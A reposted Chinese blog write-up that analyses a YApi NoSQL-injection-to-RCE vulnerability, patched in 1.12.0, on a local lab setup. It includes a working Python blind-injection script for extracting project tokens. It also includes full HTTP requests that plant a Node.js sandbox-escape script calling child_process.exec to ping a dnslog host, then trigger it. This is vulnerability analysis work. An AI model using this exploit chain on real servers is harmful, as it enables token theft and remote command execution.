YApi分析从NoSQL注入到RCE远程命令执行.md

news2024/12/25 9:42:12

0x00 前提

这个是前几个月的漏洞,之前爆出来发现没人分析就看了一下,也写了一片 Nosql注入的文章,最近生病在家,把这个写一半的完善一下发出来吧。

0x01 介绍

YApi是一个可本地部署的、打通前后端及QA的、可视化的接口管理平台。

YApi 是高效易用功能强大的 api 管理平台,旨在为开发、产品、测试人员提供更优雅的接口管理服务。可以帮助开发者轻松创建、发布、维护 API,YApi 还为用户提供了优秀的交互体验,开发人员只需利用平台提供的接口数据写入工具以及简单的点击操作就可以实现接口的管理。在其1.12.0版本之前,存在一处NoSQL注入漏洞,通过该漏洞攻击者可以窃取项目Token,并利用这个Token执行任意Mock脚本,获取服务器权限。

[YMFE/yapi: YApi 是一个可本地部署的、打通前后端及QA的、可视化的接口管理平台 (github.com)]

https://github.com/YMFE/yapi

当时年底爆出来的从未授权注入到rce的利用,就是从一个buffix出来的,就是下面这个链接

参考链接:

  • https://github.com/YMFE/yapi/commit/59bade3a8a43e7db077d38a4b0c7c584f30ddf8c

Bugfix 2022 11 01 (#2628)

* fix: 修复【Mongo 注入获取 token】的问题

* chore: up version

* chore: 关闭 Pre-request Script 和 Pre-response Script

v1.11.0 之后 如下脚本功能关闭,如需打开,请联系管理员添加. 在 db, mail 同级配置 scriptEnable: true, 并重启服务 即可

Co-authored-by: ariesly <ariesly@arieslymac13.local>

0x02 环境

当时自己搭建的环境,起一个docker 的 mongo,本地起一个yapi

自己手动搭建, 注意要自己下载带漏洞的版本

mkdir yapi
cd yapi
git clone https://github.com/YMFE/yapi.git vendors //或者下载 zip 包解压到 vendors 目录(clone 整个仓库大概 140+ M,可以通过 `git clone --depth=1 https://github.com/YMFE/yapi.git vendors` 命令减少,大概 10+ M)
cp vendors/config_example.json ./config.json //复制完成后请修改相关配置
cd vendors

yapi server 
访问 在浏览器打开 http://0.0.0.0:9090 访问。非本地服务器,请将 0.0.0.0 替换成指定的域名或ip 

其实也可以直接调试P师傅的环境,也是十分方便的,因为自己装确实有好几个bug,卡了半天。

0x03 漏洞分析

首先看到是补丁,补丁感觉修复的东西就几行,重要的就这个?

image-20230226164022841

加了一行判断,要token为string

问题来了,正常应用的话,token难道不都是String吗?这个其实我一开始也没看明白

但是我们了解 Nosql注入之后,就知道是哪一种情况,基本上就传入了一个数组导致的问题

而且也定位了 token 这个参数出现了问题,那先把注入搞定

0x04 注入

直接打断点,然后看一下路由,哪些路由回到这边

而且这中文注释,很清楚了吧,haiy

image-20230226170626250

最后跟到getProjectIdByToken里面,最后是一个mango 的sql查询了

image-20230226170540041

这里其实看似是没有问题的,因为是一个预编译的情况

但是这里是 mongo注入的经典情况,可以传入一个数组 , 就可以构成一个注入了

0x05 如何传入一个数组

直接构造一下试一下

GET /api/project/get?token={"token":{"$regex":"^1"}} HTTP/1.1

答案显然是不行的

image-20230226205206908

这里yapi用的是一个叫 koa web的通用web框架,

那么利用 koa web框架 中会解析 json格式,转化为一个数组

我们主要需要 Content-Type: application/json

就可以解析json转化为数组,最终成为成功传入数组

image-20230226205305333

0x06 注入判断

正确的情况:

image-20230226203312035

错误的情况:

image-20230226203415266

那么就是一个标准的盲注情况,写个poc

import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
target = 'http://127.0.0.1:3333/api/plugin/export'
token = ''

json_data = {
            "token": {
                "$regex":"^"+token
            }
        }

while True:
    for word in string.printable:
        if word not in ['*', '+', '.', '?', '|', '#', '&', '$']:
            json_data = {
                "token": {
                    "$regex": "^" + token+word
                }
            }
            r = requests.get(url=target,json=json_data, )
            # print(r.text)
            if 'html' in r.text:
                print("Found one more char : %s" % (token+word))
                token += word

image-20230226204604890

0x07 Token转换

因为我们发现我, 注入出来的这个token不对的

明显和真实的token长度都不一样吗

image-20230226210758937

那么应该还有一个转化的步骤,当传递过来的token后,会先进行一次aseDecode方法

随后获取到正确的uid 才能正常后续的操作。

如果解密失败,就会默认给一个99999,就是没权限。

image-20230226215315527

image-20230226215331255

那么我们先解决第一个解密的问题,还是一个硬编码 abcde

所以就来一个对应的加密脚本

0x08 RCE的原理

那肯定是要利用这个token来做文章了

那么他可以做什么? 明显要看一下运行自动化测试这个东西

image-20230226223121849

看了一下,只是运行一个项目,需要一个 id 的参数,那这个应该是最后触发的条件。

然后发现这里可以加入脚步

image-20230226223450460

测试一下,可以正常触发

image-20230226225911588

可以利用

image-20230226230022692

那么rce的利用流程大概就是这几步

1.注入获取token

2.添加任意测试用例

3.修改项目Pre-response Script脚本

4.调用/api/open/run_auto_test,

5.完成RCE。

0x09 爆破一下

那么现在就是一个要往里面设置payload,

就是要获得这个项目ID,其实还需要用户ID

但是好处是这两个ID都是小数,可以直接爆破

爆破项目project_id,可以用这个接口,也有其他接口

http://127.0.0.1:3000/api/project/get?id=1&token=fa460e433974ede4c04a51ae145cf2d72ca677854de766775200c983d8e3c1d1

image-20230228214625411

这个接口上传脚本

POST /api/project/up HTTP/1.1
Host: 127.0.0.1:3333
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: application/font-woff2;q=1.0,application/font-woff;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://127.0.0.1:3333/prd/index@40d464d7fa4bb1bea815.css
Sec-Fetch-Dest: font
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Content-Type: application/x-www-form-urlencoded
Content-Length: 221

id=66&token=fa460e433974ede4c04a51ae145cf2d72ca677854de766775200c983d8e3c1d1&after_script=&pre_script=this.constructor.constructor("return process")().mainModule.require('child_process').exec('ping 6666.rwzdkn.dnslog.cn')

image-20230228214208379

最后,运行脚本,触发命令执行,结束

GET /api/open/run_auto_test HTTP/1.1
Host: 127.0.0.1:3333
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: application/font-woff2;q=1.0,application/font-woff;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://127.0.0.1:3333/prd/index@40d464d7fa4bb1bea815.css
Sec-Fetch-Dest: font
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Content-Type: application/json
Content-Length: 88

{
"id":"66","token":"fa460e433974ede4c04a51ae145cf2d72ca677854de766775200c983d8e3c1d1"}

image-20230228214836471

0x10 总结

其实RCE这个问题,属于后台利用吧,是nodejs的vm模块出现的问题

主要还是在于项目的 token可以被注入出来,那么就可以任意操作项目了,那存在这种可以执行脚本的模块也是

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/389349.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【C++】命名空间

&#x1f3d6;️作者&#xff1a;malloc不出对象 ⛺专栏&#xff1a;C的学习之路 &#x1f466;个人简介&#xff1a;一名双非本科院校大二在读的科班编程菜鸟&#xff0c;努力编程只为赶上各位大佬的步伐&#x1f648;&#x1f648; 目录前言一、命名空间产生的背景二、命名空…

【一天时间|简历模板】世界上最好的前端简历

一天时间系列文章是博主精心整理的面试热点问题和难点问题&#xff0c;吸收了大量的技术博客与面试文章&#xff0c;总结多年的面试经历&#xff0c;带你快速并高效地审视前端面试知识。直击技术痛点&#xff0c;主动出击&#xff0c;精密打击&#xff0c;这才是面试拿到高薪的…

网络基础知识(IP地址、TCP协议/IP协议、UDP协议、三次握手,四次挥手的过程、端口等的概念)

TCP/IP 协议 首先给大家说明的是&#xff0c;TCP/IP 协议它其实是一个协议族&#xff0c;包含了众多的协议&#xff0c;譬如应用层协议 HTTP、FTP、MQTT…以及传输层协议 TCP、UDP 等这些都属于 TCP/IP 协议。 所以&#xff0c;我们一般说 TCP/IP 协议&#xff0c;它不是指某…

unity-与js交互

title: unity-与js交互 categories: Unity3d tags: [unity, js, web, h5] date: 2023-03-05 00:09:52 comments: false mathjax: true toc: true unity-与js交互 前篇 官方 WebGL&#xff1a;与浏览器脚本交互 - https://docs.unity3d.com/cn/2021.1/Manual/webgl-interacting…

JavaWeb--JSP

JSP1 JSP 概述2 JSP 快速入门2.1 搭建环境2.2 导入 JSP 依赖2.3 创建 jsp 页面2.4 编写代码2.5 测试3 JSP 原理4 JSP 脚本4.1 JSP 脚本分类4.2 案例4.2.1 需求4.2.2 实现4.2.3 成品代码4.2.4 测试4.3 JSP 缺点5 EL 表达式5.1 概述5.2 代码演示5.3 域对象6 JSTL标签6.1 概述6.2 …

Android应用启动优化笔记整理

应用启动相关流程与优化 应用启动主要涉及SystemServer进程 和 app进程。 SystemServer进程负责app进程创建和管理、窗口的创建和管理&#xff08;StartingWindow 和 AppWindow&#xff09;、应用的启动流程调度等。 App进程被创建后&#xff0c;进行一系列进程初始化、组件初…

【LinkedList】| 深度剥析Java SE 源码合集Ⅰ

目录一. &#x1f981; LinkedList介绍二. &#x1f981; 结构以及对应方法分析2.1 结构组成2.1.1 节点类2.1.2 成员变量2.2 方法实现2.2.1 添加add(E e)方法2.2.2 头尾添加元素Ⅰ addFirst(E e)Ⅱ addLast(E e)2.2.3 查找get(int index)方法2.2.4 删除remove()方法三. &#x…

【云原生】整合K8s + SpringCloudK8s + gRpc + RocketMQ + Istio + Envoy

背景本文把前面的代码整理一遍&#xff0c;不仅仅是demo层面&#xff0c;而是考虑到放进生产中使用&#xff0c;且尽可能用高版本&#xff0c;关于这块技术&#xff0c;网上的文章真是一言难尽&#xff0c;要么就是个概念&#xff0c;要么就是把官网的demo拿过来跑一遍&#xf…

图神经网络 pytorch GCN torch_geometric KarateClub 数据集

图神经网络 安装Pyg 首先安装torch_geometric需要安装pytorch然后查看一下自己电脑Pytorch的版本 import torch print(torch.__version__) #1.12.0cu113然后进入官网文档网站 链接: https://pytorch-geometric.readthedocs.io/en/latest/install/installation.html 安装自己…

【小破站下载工具】Python tkinter 实现网站下载工具,所有数据一键获取

目录前言开发环境本次项目案例步骤先展示下完成品的效果界面导入模块先创建个窗口功能按键主要功能代码编写功能一功能二功能三前言 最近很多同学想问我&#xff0c;怎么把几个代码的功能集合到一起&#xff1f; 很简单&#xff0c;写一个界面就行了&#xff0c;想要哪个代码…

黑马程序员7

算数运算符重载 运算符重载概念&#xff1a;对已有的运算符重新进行定义&#xff0c;赋予其另一种功能&#xff0c;以适应不同的数据类型 加号运算符 通过自己写函数&#xff0c;实现两个对象相加属性后返回新的对象 两种方式重载 成员函数方式重载 全局函数重载 上来 perso…

Go 内存分布

Go内存分布方式在C中&#xff0c;每个值在内存中只占据一个内存块&#xff08;一段连续内存&#xff09;&#xff1b;但是&#xff0c;一些Go类型的值可能占据多个内存块。以后&#xff0c;我们称一个Go值分布在不同内存块上的部分为此值的各个值部&#xff08;value part&…

网络安全平台测试赛 easyphp(phar脏数据处理)

昨天的比赛&#xff0c;14.00-17.00.时间有点紧张&#xff0c;比赛期间没拿下来这道 &#x1f62d;非常痛苦&#xff0c;很顺畅的思路 一步步想下来&#xff0c;卡在最后一步末尾脏数据处理了&#xff0c;最后时间到了 没打通&#xff0c;还需多练 这里本地复现一下&#xff1…

linux 进程及调度基础知识

引用Linux进程管理专题Linux进程管理与调度-之-目录导航Linux下0号进程的前世(init_task进程)今生(idle进程)----Linux进程的管理与调度&#xff08;五&#xff09;蜗窝科技-进程管理郭健&#xff1a; Linux进程调度技术的前世今生之“前世”郭健&#xff1a; Linux进程调度技术…

1.7 古典概型问题类型一——随机取数问题

(1)我的答案&#xff1a;一、信息首先7个数字全不相同二、分析七个数字全不相同意味着每次取出来的数都不一样&#xff0c;然后每次取出后选择少一种&#xff0c;为简单排列不含10和1这意味从8个数里面选且可以重复为重复排列3.10恰好出现两次隐含着两个问题&#xff0c;第一&a…

备考考研2数学

进度说明&#xff0c;开始形成自己的复习进度说明&#xff01; 14:21 2023年2月28日星期二 武忠祥数学 截止目前&#xff0c;看完了01.高数基础01 14:21 2023年2月28日星期二 开始看02. 现在15:04 2023年2月28日星期二&#xff0c; 因为这2天的百度网盘不能进行解析了&…

初识HTML技术

文章目录一、为什么学习前端?二、第一个HTML文件VSCode三. HTML元素四. HTML页面一、为什么学习前端? 我们作为一个后端程序员&#xff0c;为什么还要学习前端&#xff0c;因为我们的终极目的是实现web开发&#xff0c;搭建网站&#xff0c;网站 前端 后端 比如我们随便…

最近几篇较好论文实现代码(附源代码下载)

《Towards Layer-wise Image Vectorization》(CVPR 2022) GitHub: github.com/ma-xu/LIVEInstallationWe suggest users to use the conda for creating new python environment.Requirement: 5.0<GCC<6.0; nvcc >10.0.git clone gitgithub.com:ma-xu/LIVE.gitcd LIVE…

一步一步学会给Fritzing添加元器件-丰富你的器件库

文章目录1、获取元器件文件2、单个添加元器件3、批量加入&#xff08;1&#xff09;、通过别人发布的bin文件加载&#xff08;2&#xff09;、终极大招&#xff08;拖&#xff09;4、制作自己器件文章出处&#xff1a; https://blog.csdn.net/haigear/article/details/12931545…

【C++】类和对象——六大默认成员函数

&#x1f3d6;️作者&#xff1a;malloc不出对象 ⛺专栏&#xff1a;C的学习之路 &#x1f466;个人简介&#xff1a;一名双非本科院校大二在读的科班编程菜鸟&#xff0c;努力编程只为赶上各位大佬的步伐&#x1f648;&#x1f648; 目录前言一、类的6个默认成员函数二、构造…